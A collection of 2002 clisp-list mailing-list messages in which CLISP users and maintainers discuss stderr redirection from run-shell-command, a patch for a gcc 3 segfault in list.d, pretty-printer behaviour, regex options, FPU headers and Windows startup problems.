>Unix assigns the numbers 0,1,2 to three default streams, "input,"
>"output" and "errors" (respectively) which it creates with every
>program.  In the shell, you can re-direct where these go by referring
>to the streams by number as above.  The directive "2>1" means "make
>stream 2 (errors) go wherever stream 1 (normal output) goes."
>
>In the case of merging the outputs, they will get interleaved in no
>predictable order - this may create problems for you parsing them.
>Because of buffering, Unix won't even guarantee that they appear in
>the merged output in the order they were written to by the program
>(!).  If you need access to the output and the error streams
>separately, you may have to get uglier and save the errors to a
>temp. file and read that.  If you're discarding the error stream
>(hmmmm :) there's no problem.
>
>There might be a better way but I thought I'd at least give you an
>"out" to get through the day.
>
>Good day!
>
>---
>John Hinsdale,



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> * In message <Pine.LNX.4.31L.02.0208230941130.6593-100000@linux2.gl.umbc.edu>
> * On the subject of "[clisp-list] compiling CLISP with gcc 3"
> * Sent on Fri, 23 Aug 2002 09:47:26 -0400 (EDT)
> * Honorable James Mcclain <jmccla3@gl.umbc.edu> writes:
>
> has anyone else had trouble compiling CLISP with gcc 3?

oy wey....
uname -a?
gcc --version?

solaris is known to have problems, others should be fine.

> i was getting a problem where it would seg fault in a loop inside
> sublis_assoc in list.d.  it turned out that the problem was caused by
> line 1482 of list.d (if memory serves). i simply commented that out
> and compiled and shockingly it worked and even passed 'make test'!

what line did you remove?


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On 23 Aug 2002, Sam Steingold wrote:

> > * In message <Pine.LNX.4.31L.02.0208230941130.6593-100000@linux2.gl.umbc.edu>
> > * On the subject of "[clisp-list] compiling CLISP with gcc 3"
> > * Sent on Fri, 23 Aug 2002 09:47:26 -0400 (EDT)
> > * Honorable James Mcclain <jmccla3@gl.umbc.edu> writes:
> >
> > has anyone else had trouble compiling CLISP with gcc 3?
>
> oy wey....
> uname -a?
> gcc --version?
>
oh sorry: linux 2.4.20-pre4 on x86, gcc 3.2

> solaris is known to have problems, others should be fine.
>
> > i was getting a problem where it would seg fault in a loop inside
> > sublis_assoc in list.d.  it turned out that the problem was caused by
> > line 1482 of list.d (if memory serves). i simply commented that out
> > and compiled and shockingly it worked and even passed 'make test'!
>
> what line did you remove?
>
it was line 1482 of list.d from the 2.29 tarball.
1482c1482
<       alist = popSTACK();
---
> #      alist = popSTACK();
>
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Thomas Wager <twager@ti.com> writes:

> (defun system-call (cmd &rest args)
>   (let ((in (ext:run-program cmd :arguments args
>                                  :input nil
>                                  :output :stream)))
         ((in (ext:run-shell-command (format nil "~S ~{ \'~S\'~} 2>&1"
                                             cmd args)
                                     :input nil
                                     :output :stream)))
>     (let ((res
>       (loop as l = (read-line in nil)
>         while l
>           do
>         collect l)))
>       (close in)
>       res)))

this avoids having to create a seperate program, but will you will
have problems if elements of args contains #\' chars.

1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT
   and :OUTPUT? (Sam, if you don't have objections i'd be happy to
   take a whack at this.)

2) Why can't one specify a stream as the arg to :OUTPUT or :INPUT?

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   >   ((in (ext:run-shell-command (format nil "~S ~{ \'~S\'~} 2>&1"

Note that when Lisp is launching the command it needs to use a shell
that understands the "2>&1" syntax.  So /bin/csh and /bin/tcsh will
NOT work.  The shell used can probably be ensured by setting
environment varialbe SHELL to /bin/sh or un-setting it.

There's no ambiguity w/ the wrapper script as the shell is set
explitly with the first "#!/bin/sh" line which says what interpereter
to use to run the script.

I agree w/ all of what Randall Schultz said too.  More important than
the "exec" (forking's pretty cheap these days) is the use of the
syntax to prevent un-escaping of the shell arguments.

 > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT
 >    and :OUTPUT? (Sam, if you don't have objections i'd be happy to
 >    take a whack at this.)

the right way.  If the underlying O/S has a two-output-stream model,
and the point of the call is to interface to the underlying O/S
program exec facility, both streams should be accessible explicitly.

Things get even worse when you start opening command pipes and want to
route their separate output/error streams to different places using
only the shell redirection syntax ...

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> * In message <m2u1llejhm.fsf@bese.it>
> * On the subject of "Re: [clisp-list] How to suppress / redirect standard error?"
> * Sent on 23 Aug 2002 16:29:41 +0200
> * Honorable Marco Baringer <empb@bese.it> writes:
>
> 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT
>    and :OUTPUT? (Sam, if you don't have objections i'd be happy to
>    take a whack at this.)

go ahead!

> 2) Why can't one specify a stream as the arg to :OUTPUT or :INPUT?

a missing feature?

thanks!

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"John K. Hinsdale" <hin@alma.com> writes:

>  > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT
>  >    and :OUTPUT? (Sam, if you don't have objections i'd be happy to
>  >    take a whack at this.)
> 
> the right way.  If the underlying O/S has a two-output-stream model,
> and the point of the call is to interface to the underlying O/S
> program exec facility, both streams should be accessible explicitly.
> 
> Things get even worse when you start opening command pipes and want to
> route their separate output/error streams to different places using
> only the shell redirection syntax ...

i'm confused as to what you mean by "the right way." say we add an
:ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it
too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to
be stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with
the current semantics). As far as i can see this would allow for
arbitrary manipulation of pipes between programs. yes?

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 > i'm confused as to what you mean by "the right way."

Right, by "right way" i meant exactly having the explicity additional
param, error-stream arg as has been proposed.  this in contrast with
the "less then right" way (that I admit I suggested :) of using the
shell's redirect syntax, which has the problems of:

	1 - is shell dependent for merging streams
	2 - doesn't quite work for pipes
	3 - incurs the argument escaping/quoting issues mentioned

 > say we add an
 > :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it
 > too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to
 > nbe stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with
 > the current semantics). As far as i can see this would allow for
 > arbitrary manipulation of pipes between programs. yes?

Yes, would solve (2) above in a way that is more flexible than can be
done even w/ Unix own shells.  I'm only speaking w/ knowledge of
csh/tcsh and sh, not bash which may have solved the problem.  But not
everyone will have bash. (e.g., Solaris)

BTW, if it's intened to allow "merging" the output and error streams,
there will still be the problem I mentioned earlier with the streams'
data being interleaved unpredicatbly because of how Unix buffers its
standard streams. I don't believe there's a solution to that other
than Lisp's I/O library changing the buffering policies, which is
perhaps not its business to do.  This is a long-standing Unix problem.

Hope this helps!!!

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> * In message <Pine.LNX.4.44L.01.0208231018520.14041-100000@linux3.gl.umbc.edu>
> * On the subject of "Re: compiling CLISP with gcc 3"
> * Sent on Fri, 23 Aug 2002 10:22:03 -0400 (EDT)
> * Honorable James Mcclain <jmccla3@gl.umbc.edu> writes:
>
> > uname -a?
> > gcc --version?
> oh sorry: linux 2.4.20-pre4 on x86, gcc 3.2
> 
> > > i was getting a problem where it would seg fault in a loop inside
> > > sublis_assoc in list.d.  it turned out that the problem was caused by
> > > line 1482 of list.d (if memory serves). i simply commented that out
> > > and compiled and shockingly it worked and even passed 'make test'!
> >
> > what line did you remove?
> >
> it was line 1482 of list.d from the 2.29 tarball.
> 1482c1482
> <       alist = popSTACK();
> ---
> > #      alist = popSTACK();

this is beyond weird.
this is _very_ old code that has worked fine on __many__ platforms for
__many__ years.  your change, of course, breaks other builds.

please try the appended patch instead.

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--- list.d.~1.29.~	Wed Jun 19 18:22:08 2002
+++ list.d	Fri Aug 23 14:41:46 2002
@@ -1457,7 +1457,8 @@
 # can trigger GC
 local object sublis_assoc (object* stackptr) {
   var object alist = *(stackptr STACKop 3);
-  while (consp(alist)) {
+  pushSTACK(alist); # save the list ((u . v) ...)
+  while (consp(STACK_0)) {
     # How to treat atoms in the list?
     # a. One can ignore them.
     # b. One can signal an error on them.
@@ -1472,22 +1473,21 @@
     # definition of "association list" in the CLHS glossary and with
     # the general use of alists as lookup tables.
     # Therefore we implement (a).
-    if (mconsp(Car(alist))) { # atomare Listenelemente überspringen
-      pushSTACK(alist); # Listenrest ((u . v) ...) retten
+    if (mconsp(Car(STACK_0))) { # atomare Listenelemente überspringen
       # Testen, ob die zweiargumentige Testfunktion
       # *(stackptr-3) (eine Adresse!), angewandt auf u und das
       # vorher in *(stackptr-2) abgelegte Argument, erfüllt ist:
       var bool erg =
         (*(up2_function_t)TheMachineCode(*(stackptr STACKop -3))) # zweiargumentige Testfunktion, wurde abgelegt
-        ( stackptr, *(stackptr STACKop -2), Car(Car(alist)) ); # auf (KEY x) und u anwenden
-      alist = popSTACK();
+        ( stackptr, *(stackptr STACKop -2), Car(Car(STACK_0)) ); # auf (KEY x) und u anwenden
       if (erg)
         # Test erfüllt -> x = (u . v) = (CAR alist) als Ergebnis
-        return Car(alist);
+        return Car(popSTACK());
       # Test nicht erfüllt
     }
-    alist = Cdr(alist); # Tail-End-Rekursion
+    STACK_0 = Cdr(STACK_0); # Tail-End-Rekursion
   }
+  skipSTACK(1);
   # Listenende erreicht -> ergibt Ergebnis NIL
   return NIL;
 }




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> From: Marco Baringer <empb@bese.it>
> Date: 23 Aug 2002 17:44:15 +0200
> 
> "John K. Hinsdale" <hin@alma.com> writes:
> 
> >  > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT
> >  >    and :OUTPUT? (Sam, if you don't have objections i'd be happy to
> >  >    take a whack at this.)
> > 
> > the right way.  If the underlying O/S has a two-output-stream model,
> > and the point of the call is to interface to the underlying O/S
> > program exec facility, both streams should be accessible explicitly.
> > 
> > Things get even worse when you start opening command pipes and want to
> > route their separate output/error streams to different places using
> > only the shell redirection syntax ...
> 
> i'm confused as to what you mean by "the right way." say we add an
> :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it
> too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to
> be stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with
> the current semantics). As far as i can see this would allow for
> arbitrary manipulation of pipes between programs. yes?

While shortcuts like  :INPUT :OUTPUT and :ERROR may  be nice syntactic
suggar, why not design the facility to be able to handle any number of
file descriptor.  

What about something like:

     (ext:run-program "gpg"
                      :arguments '("--status-fd"     "3"
                                   "--logger-fd"     "4"
                                   "--passphrase-fd" "5" 
                                   "--command-fd"    "6"
                                   ;;; ... )         
                       :input  clear-text-stream
                       :output encrypted-stream
                       :error  std-err-stream
                       :fd (3 :out  status-stream)
                       :fd (4 :out  logger-stream)
                       :fd (5 :in   password-stream)
                       :fd (6 :in   command-stream)
                       )




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dear Sam,

thank you for the patch, it worked perfectly for me.

regards,
james mcclain

On 23 Aug 2002, Sam Steingold wrote:

> > * In message <Pine.LNX.4.44L.01.0208231018520.14041-100000@linux3.gl.um=
bc.edu>
> > * On the subject of "Re: compiling CLISP with gcc 3"
> > * Sent on Fri, 23 Aug 2002 10:22:03 -0400 (EDT)
> > * Honorable James Mcclain <jmccla3@gl.umbc.edu> writes:
> >
> > > uname -a?
> > > gcc --version?
> > oh sorry: linux 2.4.20-pre4 on x86, gcc 3.2
> >
> > > > i was getting a problem where it would seg fault in a loop inside
> > > > sublis_assoc in list.d.  it turned out that the problem was caused =
by
> > > > line 1482 of list.d (if memory serves). i simply commented that out
> > > > and compiled and shockingly it worked and even passed 'make test'!
> > >
> > > what line did you remove?
> > >
> > it was line 1482 of list.d from the 2.29 tarball.
> > 1482c1482
> > <       alist =3D popSTACK();
> > ---
> > > #      alist =3D popSTACK();
>
> this is beyond weird.
> this is _very_ old code that has worked fine on __many__ platforms for
> __many__ years.  your change, of course, breaks other builds.
>
> please try the appended patch instead.
>
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> --- list.d.~1.29.~=09Wed Jun 19 18:22:08 2002
> +++ list.d=09Fri Aug 23 14:41:46 2002
> @@ -1457,7 +1457,8 @@
>  # can trigger GC
>  local object sublis_assoc (object* stackptr) {
>    var object alist =3D *(stackptr STACKop 3);
> -  while (consp(alist)) {
> +  pushSTACK(alist); # save the list ((u . v) ...)
> +  while (consp(STACK_0)) {
>      # How to treat atoms in the list?
>      # a. One can ignore them.
>      # b. One can signal an error on them.
> @@ -1472,22 +1473,21 @@
>      # definition of "association list" in the CLHS glossary and with
>      # the general use of alists as lookup tables.
>      # Therefore we implement (a).
> -    if (mconsp(Car(alist))) { # atomare Listenelemente =FCberspringen
> -      pushSTACK(alist); # Listenrest ((u . v) ...) retten
> +    if (mconsp(Car(STACK_0))) { # atomare Listenelemente =FCberspringen
>        # Testen, ob die zweiargumentige Testfunktion
>        # *(stackptr-3) (eine Adresse!), angewandt auf u und das
>        # vorher in *(stackptr-2) abgelegte Argument, erf=FCllt ist:
>        var bool erg =3D
>          (*(up2_function_t)TheMachineCode(*(stackptr STACKop -3))) # zwei=
argumentige Testfunktion, wurde abgelegt
> -        ( stackptr, *(stackptr STACKop -2), Car(Car(alist)) ); # auf (KE=
Y x) und u anwenden
> -      alist =3D popSTACK();
> +        ( stackptr, *(stackptr STACKop -2), Car(Car(STACK_0)) ); # auf (=
KEY x) und u anwenden
>        if (erg)
>          # Test erf=FCllt -> x =3D (u . v) =3D (CAR alist) als Ergebnis
> -        return Car(alist);
> +        return Car(popSTACK());
>        # Test nicht erf=FCllt
>      }
> -    alist =3D Cdr(alist); # Tail-End-Rekursion
> +    STACK_0 =3D Cdr(STACK_0); # Tail-End-Rekursion
>    }
> +  skipSTACK(1);
>    # Listenende erreicht -> ergibt Ergebnis NIL
>    return NIL;
>  }
>
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All,
thanks a lot for your feedback. I'm going with shell scripts now. For
the future I would also prefer to have an extra keyword argument :error
to handle the error stream seperate.
Thanks!

Thomas 

"John K. Hinsdale" wrote:
> 
>  > i'm confused as to what you mean by "the right way."
> 
> Right, by "right way" i meant exactly having the explicity additional
> param, error-stream arg as has been proposed.  this in contrast with
> the "less then right" way (that I admit I suggested :) of using the
> shell's redirect syntax, which has the problems of:
> 
>         1 - is shell dependent for merging streams
>         2 - doesn't quite work for pipes
>         3 - incurs the argument escaping/quoting issues mentioned
> 
>  > say we add an
>  > :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it
>  > too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to
>  > nbe stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with
>  > the current semantics). As far as i can see this would allow for
>  > arbitrary manipulation of pipes between programs. yes?
> 
> Yes, would solve (2) above in a way that is more flexible than can be
> done even w/ Unix own shells.  I'm only speaking w/ knowledge of
> csh/tcsh and sh, not bash which may have solved the problem.  But not
> everyone will have bash. (e.g., Solaris)
> 
> BTW, if it's intened to allow "merging" the output and error streams,
> there will still be the problem I mentioned earlier with the streams'
> data being interleaved unpredicatbly because of how Unix buffers its
> standard streams. I don't believe there's a solution to that other
> than Lisp's I/O library changing the buffering policies, which is
> perhaps not its business to do.  This is a long-standing Unix problem.
> 
> Hope this helps!!!
> 
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Hi,

When I use compile-file function to compile my lisp file, the following error is raised. Who knows how to solve this problem?

error:

[pathname.d:7947]

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> * In message <20020827152921.70640.qmail@web21002.mail.yahoo.com>
> * On the subject of "[clisp-list] compile-file error"
> * Sent on Tue, 27 Aug 2002 16:29:21 +0100 (BST)
> * Honorable Huaiyan Gao <gaohuaiyan@yahoo.co.uk> writes:
>
> When I use compile-file function to compile my lisp file, the
> following error is raised. Who knows how to solve this problem?
> 
> error:
> 
> [pathname.d:7947]
> 
> *** win32 error 5 (error-access-denied): Access is denied.
> 
> 1. Break [2]>

you do not have OS permission to read or write a file.

try "help" to learn how you can find out which file is at fault.

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Christian,
any luck debugging this?

> * In message <sa0lm6xyao0.fsf@glip.premonitia.com>
> * On the subject of "[clisp-list] Re: [Fwd: [ clisp-Bugs-598128 ] values / multiple-value-list bug?]"
> * Sent on 23 Aug 2002 09:19:59 -0400
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> [let us move the discussion to the mailing list]
> 
> > did you receive this mail?
> 
> yes, and I replied to it yesterday:
> 
> do you have cygwin?  can you install it?
> get the CLISP CVS head, then
> 
> $ make -f Makefile.devel makemake
> $ ./makemake --with-dir-key --with-export-syscalls --with-dynamic-ffi \
>      win32msvc msvc5 debug > src/makefile
> $ cd src
> $ nmake clean
> $ nmake

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I'm hoping someone can point in the right direction.=A0 I have some mac=
ros
that are generating groups of calls to princ, which look something like=

this:

(progn (princ "hello ") (princ "world."))

This generates output to the stream
hello world.

As I would expect.=A0 But when the second princ string has a newline in=
 it,
such as
(progn (princ "hello ") (princ "world,
=A0 how are you"))

I don't get
hello world,
=A0 how are you

I get
hello
world,
=A0 how are you.

In short, the second princ is always preceded by a newline, but only wh=
en
the string itself contains a newline.

Is this standard print behavior for strings?=A0 Is this a bug in CLISP?=
=A0 Am I
doing something pathologically stupid?

incidently, I am using CLISP 2.82 on Windows XP.

Thanks for any help,
=A0=A0=A0 Glenn Burnside

Thanks,
Glenn G. Burnside III
National Instruments=




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> * In message <OF529FEC3C.6721D647-ON86256C24.0063C262-86256C24.0063C8FD@n=
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> * On the subject of "[clisp-list] Strange princ behavior"
> * Sent on Thu, 29 Aug 2002 13:09:55 -0500
> * Honorable glenn.burnside@ni.com writes:
>
> I'm hoping someone can point in the right direction.=A0 I have some macros
> that are generating groups of calls to princ, which look something like
> this:
>=20
> (progn (princ "hello ") (princ "world."))
>=20
> This generates output to the stream
> hello world.
>=20
> As I would expect.=A0 But when the second princ string has a newline in i=
t,
> such as
> (progn (princ "hello ") (princ "world,
> =A0 how are you"))
>=20
> I don't get
> hello world,
> =A0 how are you
>=20
> I get
> hello
> world,
> =A0 how are you.
>=20
> In short, the second princ is always preceded by a newline, but only when
> the string itself contains a newline.

Indeed, this is the case.  When *PRINT-PRETTY* is non-NIL, CLISP printer
will print multi-line object starting with a FRESH-LINE.

> Is this standard print behavior for strings?=A0
> Is this a bug in CLISP?=A0

no: pretty printing is largely left to the implementation.

> Am I doing something pathologically stupid?

just (setq *print-pretty* nil)

> incidently, I am using CLISP 2.82 on Windows XP.

I am using what will eventually become 2.30 -
you are 52+ versions ahead of me! :-)

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Sam,
      that did the trick.  (and of course, I'm using version 2.28, not =
2.82
=3D-) ).  For future reference, what would be the best place to find ou=
t
about implementation-specific behavior like this?

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> * In message
<OF529FEC3C.6721D647-ON86256C24.0063C262-86256C24.0063C8FD@natinst.com>=

> * On the subject of "[clisp-list] Strange princ behavior"
> * Sent on Thu, 29 Aug 2002 13:09:55 -0500
> * Honorable glenn.burnside@ni.com writes:
>
> I'm hoping someone can point in the right direction.=A0 I have some m=
acros
> that are generating groups of calls to princ, which look something li=
ke
> this:
>
> (progn (princ "hello ") (princ "world."))
>
> This generates output to the stream
> hello world.
>
> As I would expect.=A0 But when the second princ string has a newline =
in it,
> such as
> (progn (princ "hello ") (princ "world,
> =A0 how are you"))
>
> I don't get
> hello world,
> =A0 how are you
>
> I get
> hello
> world,
> =A0 how are you.
>
> In short, the second princ is always preceded by a newline, but only =
when
> the string itself contains a newline.

Indeed, this is the case.  When *PRINT-PRETTY* is non-NIL, CLISP printe=
r
will print multi-line object starting with a FRESH-LINE.

> Is this standard print behavior for strings?
> Is this a bug in CLISP?

no: pretty printing is largely left to the implementation.

> Am I doing something pathologically stupid?

just (setq *print-pretty* nil)

> incidently, I am using CLISP 2.82 on Windows XP.

I am using what will eventually become 2.30 -
you are 52+ versions ahead of me! :-)

--
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<http://www.camera.org> <http://www.iris.org.il> <http://www.memri.org/=
>
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>
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> * In message <OFC1048329.BD0A493D-ON86256C24.0067AB61-86256C24.0067BD3F@natinst.com>
> * On the subject of "Re: [clisp-list] Strange princ behavior"
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>
> that did the trick.  (and of course, I'm using version 2.28, not 2.82
> =-) ).  For future reference, what would be the best place to find out
> about implementation-specific behavior like this?

your specific question is actually answered in full detail here:
<http://clisp.cons.org/impnotes.html#ppr-first-newline>

see also:
<http://clisp.cons.org/>
<http://clisp.cons.org/faq.html>
<http://clisp.cons.org/clisp.html>
<http://clisp.cons.org/impnotes.html>

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Hi,

Today I saw, that there is a clisp-binary for windows with
regular expression support. That's great. I need the syntax
for a non-greedy pattern. Does anybody know a pattern
for this with old-style regex? Or a clisp-function, which
wrapps the pattern?


best regards
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jens.himmelreich@hmmh.de writes:

> Hi,
> 
> Today I saw, that there is a clisp-binary for windows with
> regular expression support. That's great. I need the syntax
> for a non-greedy pattern. Does anybody know a pattern
> for this with old-style regex? Or a clisp-function, which
> wrapps the pattern?
>
> 
> best regards
> jens himmelreich

CLISP's regexp module is taken from GNU's findutils and does not
support non-greedy quantifiers.

1) use Dorai Siaram's pregexp package (very perlish, but slow)
   http://www.ccs.neu.edu/~dorai/pregexp/pregexp.html

2) Michael Parker's regexp package (part of CL-AWK), which is faster
   than GNU's regexp module. (the only thing i miss from it is
   look-(ahead|behind))
   http://www.geocities.com/mparker762/clawk.html

-- 
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>Message: 1
>From: jens.himmelreich@hmmh.de
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>Date: Tue, 3 Sep 2002 13:47:34 +0200 
>Subject: [clisp-list] clisp, regex, non-greedy
>[...]
>Today I saw, that there is a clisp-binary for windows with
>regular expression support. That's great. I need the syntax
>for a non-greedy pattern. Does anybody know a pattern
>for this with old-style regex? Or a clisp-function, which
>wrapps the pattern?

Dorai Sitaram's Pregexp package
   http://www.ccs.neu.edu/~dorai/pregexp/pregexp.html
has usually performed fast enough for what i need it to do (as long as you
compile it and use compiled patterns when it makes sense). It has pretty
much the same functionality as Perl regexps.

g


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Hi,

I was compiling clisp 2.29 when I realized that it's messages were in 
german.

That's ok - but I find it annoying. How can I get it to display messages 
only in english?

Regards,
	Mario.



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 > I was compiling clisp 2.29 when I realized that it's messages were in 
 > german.

also, the tarball expands into "clisp/...." not "clisp-2.29/..."
which is also not a big deal since no previous ones did so it would
not overwrite a previous install.


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> * In message <3D761F83.3040903@igpm.rwth-aachen.de>
> * On the subject of "[clisp-list] Native Language Support / Internationalization"
> * Sent on Wed, 04 Sep 2002 16:58:11 +0200
> * Honorable Mario Mommer <mommer@igpm.rwth-aachen.de> writes:
>
> I was compiling clisp 2.29 when I realized that it's messages were in
> german.
> 
> That's ok - but I find it annoying. How can I get it to display
> messages only in english?

<http://clisp.cons.org/clisp.html#opt-lang>


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CLISP relies on the fpu_control.h header to set the FPU behaviour on Linux. 
Unfortunately, fpu_control.h is unportable in many ways. The general anwser 
seems to be to use fenv.h, a standard header in C99. This patch will enable 
fenv.h support in preference to fpu_control.h if it is available. I have 
tested it and it *seems* to work. I've tried dividing by zero etc. in the 
interpreter and everything seems to function normally on my i386 Linux 
machine. It would be best if this patch got some testing before being 
considered for inclusion.

Thanks,

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Date: Thu Sep  5 07:47:03 2002
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Will Newton writes:

> CLISP relies on the fpu_control.h header to set the FPU behaviour on Linux. 
> Unfortunately, fpu_control.h is unportable in many ways. The general anwser 
> seems to be to use fenv.h, a standard header in C99. This patch will enable 
> fenv.h

Thanks for the patch.

But meanwhile this has changed in the clisp CVS: We don't use
fpu_control.h any more, because it was glibc specific. But we don't
want to use fenv.h either, for the following two reasons:

  * According to ISO C 99 section 7.6.1, you need
       #pragma stdc fenv_access on
    in order to obtain *any* non-default behaviour.
    And you don't know the default behaviour.

  * The only platform that I've seen that has <fenv.h>
    is glibc. But the functions declared in it don't work on
    all platforms (in particular they don't work on i686).
    The glibc maintainers don't want to fix it; they say these
    are hardware limitations.

So now we use autoconf checks to optimize clisp's code for the default
FP behaviour.

Bruno


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On Thursday 05 Sep 2002 3:47 pm, Bruno Haible wrote:

>   * The only platform that I've seen that has <fenv.h>
>     is glibc. But the functions declared in it don't work on
>     all platforms (in particular they don't work on i686).
>     The glibc maintainers don't want to fix it; they say these
>     are hardware limitations.

That sounds quite unlikely - I'm certainly sure i686 can implement enough 
different modes for clisp. Do you have any link to any discussion of this?

> So now we use autoconf checks to optimize clisp's code for the default
> FP behaviour.

OK, no problem, I'll check out CVS and see if it works for me. I am currently 
trying to get the build working on Linux/hppa. The avcall stuff is still 
broken but I think I am getting towards a solution.


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> >     But the functions declared in it don't work on
> >     all platforms (in particular they don't work on i686).
> >     The glibc maintainers don't want to fix it; they say these
> >     are hardware limitations.
> 
> That sounds quite unlikely - I'm certainly sure i686 can implement enough 
> different modes for clisp. Do you have any link to any discussion of this?

Here are the links:
http://sources.redhat.com/ml/libc-alpha/2002-05/msg00241.html
http://sources.redhat.com/ml/libc-alpha/2002-06/msg00154.html

Bruno


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The interpreter crashes with a SIGSEGV. I have included the backtrace.

I will try to debug it myself, but if anyone has any suggestions they would 
be gratefully received.

(gdb) run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") 
(sys::%saveinitmem) (exit)"
Starting program: /home/will/debian/build/clisp/debian/build/lisp.run -B . -N 
locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") 
(sys::%saveinitmem) (exit)"

Program received signal SIGSEGV, Segmentation fault.
expand_deftype (type_spec=0x25d4e9, once_p=false) at predtype.d:1956
1956      pushSTACK(TheSubr(subr_self)->name);
(gdb) print subr_self
$1 = 0x0
(gdb) bt
#0  expand_deftype (type_spec=0x25d4e9, once_p=false) at predtype.d:1956
#1  0x000a094c in valid_type1 (name=0x25d4e9) at sequence.d:142
#2  0x000a0d38 in valid_type (name=0x25d4e9) at sequence.d:225
#3  0x000a240c in coerce_sequence (sequence=0x25d4e9, result_type=0x0,
    error_p=true) at sequence.d:994
#4  0x0003427c in match_subr_key (fun=0x256c32, argcount=0,
    key_args_pointer=0x4027e088, rest_args_pointer=0x4027e0a0) at eval.d:2776
#5  0x00038298 in funcall_subr (fun=0x256c32, args_on_stack=2) at eval.d:5381
#6  0x000759bc in allocate_syntax_table () at io.d:199
#7  0x00075ae4 in orig_readtable () at io.d:357
#8  0x00076240 in init_reader () at io.d:571
#9  0x0002ac2c in init_symbol_values () at spvw.d:1213
#10 0x0002b854 in initmem () at spvw.d:1432
#11 0x0002d4e8 in main (argc=8, argv=0x8010018) at spvw.d:2553
(gdb)


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Sam Steingold,

I used notebook to open the scr/config.lisp to change strings as requested
in the Readme File.

But, I have no idea what strings to change (first timer).

When I double click on lisp.exe the following shows up.
----------------------------
Warning: no initialization file specified.
Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer
studies\clisp-2.29\list.exe -M lispinit.mem

Warning: no initialization directory specified.
Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer
studies\clisp-2.29\list.exe -B /user/local/lib/clisp
------------------------------------------
I know there is some relationship between the warnings and my lack of
changing the strings. It is 'what needs to be changed' I lack.

Attached is the file that needs to be change.
Please help out by changing the file for me.
I imagine the warnings are trying to give me a clue as what to do and should
have the information you need.

Thanks,
Hank
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"Abbott, Hank" <hank.abbott@lmco.com> writes:

> When I double click on lisp.exe the following shows up.
> ----------------------------
> Warning: no initialization file specified.
> Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer
> studies\clisp-2.29\list.exe -M lispinit.mem
are you sure the messafe said 'list.exe' and not 'lisp.exe' ?
> 
> Warning: no initialization directory specified.
> Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer
> studies\clisp-2.29\list.exe -B /user/local/lib/clisp
idem
> ------------------------------------------
> I know there is some relationship between the warnings and my lack of
> changing the strings. It is 'what needs to be changed' I lack.

not really. the problem is that you're running lisp.exe which requires
a bunch of parameters, such as the memory image to load (-M
lispinit.mem) the init directory to use (-B C:\clisp), the heap size,
etc. to avoid having to write these out each and every time (and to
have some double-click'able) you should find a file clisp.bat which
specifies the proper parameters, try running that instead, you need to
have already run make (or nmake) install as this create the clisp.bat
file. of course, the on true way to work with clisp is via
Emacs+ILISP, but you can ignore that for now...

happy hacking.
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I'm writing an OpenGL/GLUT binding for clisp, and i've got almost 
everything working, except i have absolutely no clue how i should 
implement the GLUT callback interfaces. For example, take the C 
definition of an interface specifying a function to be called when the 
current window is resized:

void glutReshapeFunc(void (*func)(int width, int height));

How do i go about implementing this? It'd be nice to be able to say 
something like:

(use-package "opengl")
...
(glutReshapeFunc #'(lambda (w h) (format t "Window resize.)))

Is this possible?

-Scott



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Hi all,

I'm hoping you can help me understand how to create a Gray binary output
stream.

First I create the stream (CLISP 2.29):

(setf bstream (make-instance 'FUNDAMENTAL-BINARY-OUTPUT-STREAM))
#<FUNDAMENTAL-BINARY-OUTPUT-STREAM #x204490E5>

Then I attempt to set the STREAM-ELEMENT-TYPE according to the CLISP
specific impnotes (what's the cross-platform way?):

((SETF STREAM-ELEMENT-TYPE) '(unsigned-byte 8) bstream)   

*** - NO-APPLICABLE-METHOD: When calling #<GENERIC-FUNCTION (SETF
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#<FUNDAMENTAL-BINARY-OUTPUT-STREAM #x204490E5>), no method is
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> * In message <1031377382.2222.10.camel@work>
> * On the subject of "[clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)"
> * Sent on 07 Sep 2002 17:43:02 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> I'm hoping you can help me understand how to create a Gray binary
> output stream.

see, e.g., describe.lisp in the CLISP sources for inspiration.

> (setf bstream (make-instance 'FUNDAMENTAL-BINARY-OUTPUT-STREAM))
> #<FUNDAMENTAL-BINARY-OUTPUT-STREAM #x204490E5>

what do you think this stream should do?

> Then I attempt to set the STREAM-ELEMENT-TYPE according to the CLISP
> specific impnotes (what's the cross-platform way?):
> 
> ((SETF STREAM-ELEMENT-TYPE) '(unsigned-byte 8) bstream)   
> 
> *** - NO-APPLICABLE-METHOD: When calling #<GENERIC-FUNCTION (SETF
> STREAM-ELEMENT-TYPE)> with arguments ((UNSIGNED-BYTE 8)
> #<FUNDAMENTAL-BINARY-OUTPUT-STREAM #x204490E5>), no method is
> applicable.

before you can call a function, you have to define it.
before you can write
        (setf (stream-element-type bstream) '(unsigned-byte 8))
you have to write
        (defmethod (setf stream-element-type) ((bstream fundamental-binary-output-stream)))

what are you trying to accomplish?

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> * In message <3D792EC2.4070307@colorado.edu>
> * On the subject of "[clisp-list] A little help with modules?"
> * Sent on Fri, 06 Sep 2002 16:40:02 -0600
> * Honorable Scott Williams <Scott.Williams@colorado.edu> writes:
>
